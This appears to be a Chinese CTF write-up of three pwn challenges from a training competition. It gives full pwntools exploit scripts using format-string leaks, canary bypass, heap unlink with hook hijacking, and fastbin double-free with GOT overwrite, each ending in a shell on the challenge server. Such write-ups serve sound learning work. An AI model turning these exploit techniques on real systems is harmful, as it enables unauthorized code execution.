PWN

SteinsGate3

唯一的变化在于限制了栈溢出的长度，无法直接构造ROP。正好做这题前一天看到一道栈迁移的题，再加上bss段可以直接输入/bin/sh，想当然地把栈迁移到bss段去了……结果最后在执行system的过程中一旦试图向不可写的地方写入就报错了。最后还是aris直接透露天机……

```
78 ; __unwind {
78                 push    rbp
79                 mov     rbp, rsp
7C                 sub     rsp, 10h
80                 mov     [rbp+command], rdi
84                 mov     rax, [rbp+command]
88                 mov     rdi, rax        ; command
8B                 call    system
90                 nop
91                 leave
92                 retn
92 ; } // starts at 78
```

玄机又一次隐藏在了汇编中，而我基本上不怎么看汇编……并且正常流程中多了的几行并不会产生影响，所以反汇编代码里也没有显示，但可以控制RIP就可以伪造一个合适的RBP后直接执行84部分代码

exp：#python

```
from pwn import *

context.log_level = 'debug'

context.terminal = ['gnome-terminal','-x','bash','-c']

#cn = process('./SteinsGate3')

cn=remote('118.24.3.214',12343)

cn.recvuntil('ID:')

cn.sendline('/bin/sh\x00')

cn.recvuntil('world.')

payload=(0x40-0x10)*'a'+p64(0x2333)

cn.send(payload)

# leak rand num

cn.recvuntil('man.')

payload2='%7$p'

cn.send(payload2)
```

```
num=int(cn.recvuntil('it?')[:-21],16)
print(hex(num))
payload3=(0x40-0x24)*'a'+p32(0x6666)+(0x40-0x10-0x24+4)*'a'+p32(0x1234+num)
cn.send(payload3)
cn.recvuntil('Payment of past debts.')
payload4='%11$p'
cn.send(payload4)
#cn.recvline()
canary=cn.recvuntil("To seek the truth of the world.\n")[:-0x46]
canary=int(canary,16)
print(hex(canary))
#cn.recvuntil('To seek the truth of the world.')
payload5='a'*(0x40-0x10)+p64(0x2333)+p64(canary)+'a'*8+'\xc0\x29'
cn.send(payload5)
cn.recvline()
cn.sendline('/bin/sh\x00')
cn.recvuntil('world.')
payload=(0x40-0x10)*'a'+p64(0x2333)
cn.send(payload)
# leak rand num
cn.recvuntil('man.')
payload2='%7$p'
cn.send(payload2)
num=int(cn.recvuntil('it?')[:-21],16)
print(hex(num))
payload3=(0x40-0x24)*'a'+p32(0x6666)+(0x40-0x10-0x24+4)*'a'+p32(0x1234+num)
cn.send(payload3)
cn.recvuntil('Payment of past debts.')
payload4='%13$p'
cn.send(payload4)
cn.recvline()
r=int(cn.recvline()[:-41],16)
```

```
print r
rdi=r*0x1000+0xe83
cn.recvuntil('To seek the truth of the world.')
payload5='a'*(0x40-0x10)+p64(0x2333)+p64(canary)+'a'*8+'\xc0\x29'
cn.send(payload5)
cn.recvline()
cn.sendline('/bin/sh\x00')
cn.recvuntil('world.')
payload=(0x40-0x10)*'a'+p64(0x2333)
cn.send(payload)
# leak rand num
cn.recvuntil('man.')
payload2='%7$p'
cn.send(payload2)
num=int(cn.recvuntil('it?')[:-21],16)
print(hex(num))
payload3=(0x40-0x24)*'a'+p32(0x6666)+(0x40-0x10-0x24+4)*'a'+p32(0x1234+num)
cn.send(payload3)
cn.recvuntil('Payment of past debts.')
payload4='%12$p'
cn.send(payload4)
cn.recvline()
stack=int(cn.recvline()[:-38],16)
print stack
payload5=p64(rdi+0x2011BD)+'a'*(0x28)+p64(0x2333)+p64(canary)+p64(stack-0x68)+'\x84'
cn.send(payload5)
cn.interactive()
```

namebook

考点在于unlink，然而在这之前需要了解大量glibc堆的基础知识……花费了两天才大概理解了unlink原理（期间大部分时间浪费在了寻找合适的学习资料上吐血）

主要思路，首先通过unlink把ptr[0]上的地址修改为ptr本身前面一点的地址，然后就可以用edit功能，填充一段padding后再次修改ptr[0]为任意地址，从而实现任意地址写入，但是这题的got表只读，百度了一下可以利用hook技术实现类似于got表劫持的效果（但是并没有百度到靠谱的教程……）最后还是靠Aris的几句话光速教学理解了其实现方式（膜）

exp：

```
from pwn import *

context.log_level = 'debug'

context.terminal = ['gnome-terminal','-x','bash','-c']

#cn=process('./namebook')

cn=remote('118.24.3.214',12344)

ptr=0x602040

puts=0x601FA0

printf=0x601FB8

read=0x601FC8

cn.recvuntil('exit\n')

cn.sendline('1')

cn.sendline('0')

cn.sendline('a')

cn.recvuntil('done.\n')

cn.sendline('1')

cn.sendline('1')

cn.sendline('b')

cn.recvuntil('done.\n')

cn.sendline('4')

cn.sendline('0')

pay1=p64(0)+p64(0x81)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*0x60+p64(0x80)+p64(0x90)

cn.sendline(pay1)

cn.recvuntil('done.\n')

#unlink

cn.sendline('2')

cn.sendline('1')

cn.recvuntil('done.\n')

cn.sendline('4')
```

```
cn.sendline('0')
pay2=p64(0)+p64(0)+p64(0)+p64(read)
cn.sendline(pay2)
cn.recvuntil('done.\n')
cn.sendline('3')
cn.sendline('0')
cn.recvuntil('index:')
lib_read=cn.recvuntil("done.\n")[:-7]+'\x00\x00'
print hex(u64(lib_read))
lib=u64(lib_read)
hook=lib+0x2CF558
system=lib-0xB1EC0
cn.sendline('1')
cn.sendline('9')
cn.sendline('/bin/sh')
cn.sendline('1')
cn.sendline('1')
cn.sendline('a')
cn.recvuntil('done.\n')
cn.sendline('1')
cn.sendline('2')
cn.sendline('2')
cn.recvuntil('done.\n')
cn.sendline('4')
cn.sendline('1')
pay1=p64(0)+p64(0x81)+p64(ptr-0x10)+p64(ptr-0x8)+'a'*0x60+p64(0x80)+p64(0x90)
cn.sendline(pay1)
cn.sendline('2')
cn.sendline('2')
cn.sendline('4')
cn.sendline('1')
pay2=p64(0)+p64(0)+p64(0)+p64(hook)
```

cn.sendline(pay2)

cn.sendline('4')

cn.sendline('1')

pay2=p64(system)

cn.sendline(pay2)

cn.sendline('2')

cn.sendline('9')

cn.interactive()

薯片拯救世界3

emmm……看完剧情还以为第四周会有cstw4的，没想到这就完结了，还期待会有一个神结局的233

考点是fastbins attack doublefree，主要难点在于通过size检查，一开始想直接劫持got表，但是并没能找到合适的位置能通过检查。申请堆块的实际大小是0x70，因此能通过检查的数字范围在0x70-7f，利用错位也必须要求7fxxxxx的前一个字节的数值是0。

最后通过观察发现在ptr前有合适的位置，可以先修改ptr[0]的值为got表地址再进行劫持

最后发现我的鬼才exp在远程时由于网速原因……多个sendline可能被一次接收导致getshell失败，由于离截止时间已近，我就选了个最简单的方法……在每次输入前设置sleep(0.1)

exp：

import time

from pwn import *

context.log_level = 'debug'

context.terminal = ['gnome-terminal','-x','bash','-c']

cn=remote('118.24.3.214',12342)

pay=p64(0x6020A5-0x8)

sys=0x4007B6

cn.sendline('1')

time.sleep(0.1)

cn.sendline('1')

time.sleep(0.1)

cn.sendline('1')

time.sleep(0.1)

cn.sendline('1')

time.sleep(0.1)

```
cn.sendline('a')
time.sleep(0.1)
cn.sendline('1')
time.sleep(0.1)
cn.sendline('b')
time.sleep(0.1)
cn.sendline('1')
time.sleep(0.1)
cn.sendline('c')
time.sleep(0.1)
cn.sendline('1')
time.sleep(0.1)
cn.sendline('/bin/sh')
time.sleep(0.1)
cn.sendline('3')
time.sleep(0.1)
cn.sendline('2')
time.sleep(0.1)
cn.sendline('3')
time.sleep(0.1)
cn.sendline('0')
time.sleep(0.1)
cn.sendline('3')
time.sleep(0.1)
cn.sendline('2')
time.sleep(0.1)
cn.sendline('1')
time.sleep(0.1)
cn.sendline(pay)
time.sleep(0.1)
cn.sendline('1')
time.sleep(0.1)
```

```
cn.sendline('')
time.sleep(0.1)
cn.sendline('1')
time.sleep(0.1)
cn.sendline(pay)
time.sleep(0.1)
cn.sendline('1')
time.sleep(0.1)
pay3=p64(0)+p64(0)+'aaa'+p64(0x602018)
cn.sendline(pay3)
time.sleep(0.1)
cn.sendline('2')
time.sleep(0.1)
cn.sendline('0')
time.sleep(0.1)
cn.sendline('\xB6\x07\x40\x00\x00\x00')
time.sleep(0.1)
cn.sendline('3')
time.sleep(0.1)
cn.sendline('3')
time.sleep(0.1)
cn.interactive()
```

总结

babytcache这题由于经验不足，没能看出劫持atoi为printf后就能无限使用格式化字符串漏洞233，期间还暴露了很多自己基础不扎实的问题，让Aris给了很多hint最后也没来得及做完，有点可惜，不过归根到底还是自己能力不足，所以也不怎么可惜XD，重要的是我在这周学到了很多heap相关的知识。我的ctf引路人楼老板说，不会堆等于不会pwn，所以刚开始还挺怕学不来堆然后活不过这周的，然后就先去做了SG3保命……因此最后能成功活过这周还是很开心的！emmm剩下的吐槽和心路历程就等到下周再总结吧233